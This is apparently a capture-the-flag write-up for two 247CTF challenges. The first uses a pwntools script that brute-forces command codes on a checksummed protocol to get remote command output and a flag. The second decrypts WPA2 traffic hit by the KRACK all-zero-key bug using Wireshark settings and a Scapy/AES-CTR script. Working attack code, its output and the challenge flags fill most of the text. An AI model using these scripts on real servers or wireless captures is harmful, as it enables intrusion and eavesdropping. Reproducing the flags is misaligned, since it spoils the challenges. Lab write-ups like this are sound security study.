I developed a brute-force script using pwntools to iterate through potential commands (0-14) and find the one that triggers the flag response.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python3
import zlib
from pwn import *

HOST = "35f9359cc67c7983.247ctf.com"
PORT = 50385
context.log_level = "info"

def calc_custom_crc_hex(hex_data: str) -> str:
data_bytes = bytes.fromhex(hex_data)
crc_val = zlib.crc32(data_bytes)
return str(crc_val).encode().hex()

def solve():
sep = "00"
counter = "31"
# Commands 0-14 in hex format
commands = [f"3{hex(i)[2:]}" for i in range(15)]

for cmd in commands:
try:
conn = remote(HOST, PORT, timeout=5)
# Receive Session ID
session_id = conn.recvline(drop=True).decode(errors="replace")
log.info(f"Session ID: {session_id} | Testing Command: {cmd}")

# Construct payload: [SessionID][00][Counter][00][Command][00][Checksum]
base_hex = f"{session_id}{sep}{counter}{sep}{cmd}"
crc_hex = calc_custom_crc_hex(base_hex)
payload = f"{base_hex}{sep}{crc_hex}"

conn.sendline(payload.encode())

raw_response = conn.recvall(timeout=3).decode(errors="replace")
try:
# Server returns hex-encoded response
decoded_response = bytes.fromhex(raw_response).decode(errors="replace")
if "247CTF" in decoded_response:
log.success(f"Flag found: {decoded_response}")
conn.close()
return
except ValueError:
log.warning(f"Failed to decode hex response: {raw_response}")
print("-" * 40)

if __name__ == "__main__":
solve()

Execution Output

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
[*] Starting brute-force with commands: ['30', '31', '32', '33', '34', '35', '36', '37', '38', '39', '3a', '3b', '3c', '3d', '3e']
[+] Opening connection to 35f9359cc67c7983.247ctf.com on port 50385: Done
[*] Session ID: 9b2832a1
[+] Receiving all data: Done (54B)
[*] Closed connection to 35f9359cc67c7983.247ctf.com port 50385
[*] Response: (2\x001\x00notroot
\x003738085711
----------------------------------------
[*] Connection closed.
[+] Opening connection to 35f9359cc67c7983.247ctf.com on port 50385: Done
[*] Session ID: 3907e672
[+] Receiving all data: Done (152B)
[*] Closed connection to 35f9359cc67c7983.247ctf.com port 50385
[*] Response: 9\x07r\x001\x00uid=1000(notroot) gid=1000(notroot) groups=1000(notroot)
\x003051696603
----------------------------------------
[*] Connection closed.
[+] Opening connection to 35f9359cc67c7983.247ctf.com on port 50385: Done
[*] Session ID: edd0a465
[+] Receiving all data: Done (96B)
[*] Closed connection to 35f9359cc67c7983.247ctf.com port 50385
[*] Response: Фe\x001\x00Sun Mar 1 06:57:51 UTC 2026
\x003480231763
----------------------------------------
[*] Connection closed.
[+] Opening connection to 35f9359cc67c7983.247ctf.com on port 50385: Done
[*] Session ID: 705136bc
[+] Receiving all data: Done (446B)
[*] Closed connection to 35f9359cc67c7983.247ctf.com port 50385
[*] Response: pQ6\x001\x00 total used free shared buff/cache available
Mem: 7973384 1587756 3913000 2636 2472628 6135804
Swap: 2097148 0 2097148
\x002165499562
----------------------------------------
[*] Connection closed.
[+] Opening connection to 35f9359cc67c7983.247ctf.com on port 50385: Done
[*] Session ID: d0f8fe01
[+] Receiving all data: Done (118B)
[*] Closed connection to 35f9359cc67c7983.247ctf.com port 50385
[*] Response: \x01\x001\x00247CTF{e5df2a6497c8733e8dc4679d856591af}\x001655731160
[+] Flag found: \x01\x001\x00247CTF{e5df2a6497c8733e8dc4679d856591af}\x001655731160
[*] Connection closed.

[Process exited 0]

Flag

247CTF{e5df2a6497c8733e8dc4679d856591af}

Our WiFi keeps disconnecting. We captured wireless traffic to try and figure out what’s happening, but it’s all temporal zeros to us! I think someone is trying to exploit a WiFi vulnerability.. Can you decrypt the traffic and gain access to the flag?

The hint “temporal zeros” and the context of a WiFi vulnerability strongly suggest the KRACK (Key Reinstallation Attack), specifically CVE-2017-13077.

Vulnerability Analysis: Why “Zeros”?

In a standard WPA2 4-way handshake, the client and AP negotiate a PTK (Pairwise Transient Key). KRACK works by intercepting and replaying Message 3 of the handshake, forcing the client to reinstall an already in-use key. This resets nonces (packet numbers) and replay counters.

For certain versions of wpa_supplicant (notably 2.4 and 2.5), a critical implementation bug exists: when the key is reinstalled, the Temporal Key (TK) is not just reused, but cleared to all zeros.

The captured 802.11 CCMP packets are encrypted using a 16-byte key of \x00 values.

The WPA2 4-way Handshake & PTK

  1. Message 1: AP sends a random number (ANonce) to the Client.
  2. Message 2: Client generates its own random number (SNonce), derives the PTK using both Nonces, and sends SNonce to the AP.
  3. Message 3: AP derives the same PTK, sends the Group Temporal Key (GTK), and instructs the Client to install the PTK.
  4. Message 4: Client confirms installation with an ACK.

The KRACK attack manipulates Message 3 to trigger the “all-zero” TK bug.

Decryption Methods

Method 1: Wireshark GUI

If you prefer a visual approach, you can configure Wireshark to decrypt the traffic using the zeroed key:

  1. Open Preferences (Ctrl + Shift + P).
  2. Go to Protocols -> IEEE 802.11.
  3. Check “Enable decryption”.
  4. Click “Edit…” next to Decryption keys.
  5. Add a new key:
    • Key type: tk
    • Key: 00000000000000000000000000000000 (32 zeros)

Method 2: Scapy Script (CLI)

The following script manually reconstructs the CCM Nonce and decrypts the packets using the zeroed Temporal Key.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import binascii
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from scapy.all import rdpcap
from scapy.layers.dot11 import Dot11, Dot11CCMP, Dot11QoS

PCAP_FILE = "/home/kita/Downloads/00ps.pcap"

def crack_temporal_zeros(pcap_file):
print(f"[*] Parsing {pcap_file}...")
try:
packets = rdpcap(pcap_file)
except Exception as e:
print(f"[!] File error: {e}")
return

# CVE-2017-13077 (KRACK): The bug forces the TK (Temporal Key) to all zeros.
tk_all_zeros = b"\x00" * 16

for idx, pkt in enumerate(packets):
if not pkt.haslayer(Dot11CCMP):
continue

ccmp = pkt[Dot11CCMP]

# 1. Extract Packet Number (PN), 6 bytes
pn = bytes([ccmp.PN5, ccmp.PN4, ccmp.PN3, ccmp.PN2, ccmp.PN1, ccmp.PN0])

# 2. Extract Transmitter Address (A2), 6 bytes
try:
mac_a2 = binascii.unhexlify(pkt[Dot11].addr2.replace(":", ""))
except AttributeError:
continue

# 3. Extract QoS Priority (TID)
priority = b"\x00"
if pkt.haslayer(Dot11QoS):
tid = pkt[Dot11QoS].TID & 0x0F
priority = bytes([tid])

# 4. Construct 13-byte CCM Nonce
# Nonce = Priority (1 byte) + MAC A2 (6 bytes) + PN (6 bytes)
nonce = priority + mac_a2 + pn

# 5. Assemble CTR Initial Vector (16 bytes)
# Flags (0x01) + Nonce (13 bytes) + Counter (0x0001)
iv = b"\x01" + nonce + b"\x00\x01"

# 6. Decrypt using AES-CTR (Bypassing MIC check for speed/simplicity)
cipher = Cipher(
algorithms.AES(tk_all_zeros), modes.CTR(iv), backend=default_backend()
)
decryptor = cipher.decryptor()

raw_data = ccmp.data
if len(raw_data) <= 8:
continue

ciphertext = raw_data[:-8] # Last 8 bytes are the MIC
plaintext = decryptor.update(ciphertext) + decryptor.finalize()

try:
decoded_text = plaintext.decode("utf-8", errors="ignore")
if "247CTF" in decoded_text.upper():
print(f"\n[+] Flag found in packet #{idx + 1}:")
print(f" Plaintext: {decoded_text}\n")
break
except Exception:
pass

if __name__ == "__main__":
crack_temporal_zeros(PCAP_FILE)

Flag

247CTF{5e19fbdfa7072d568a28dd47b0edd379}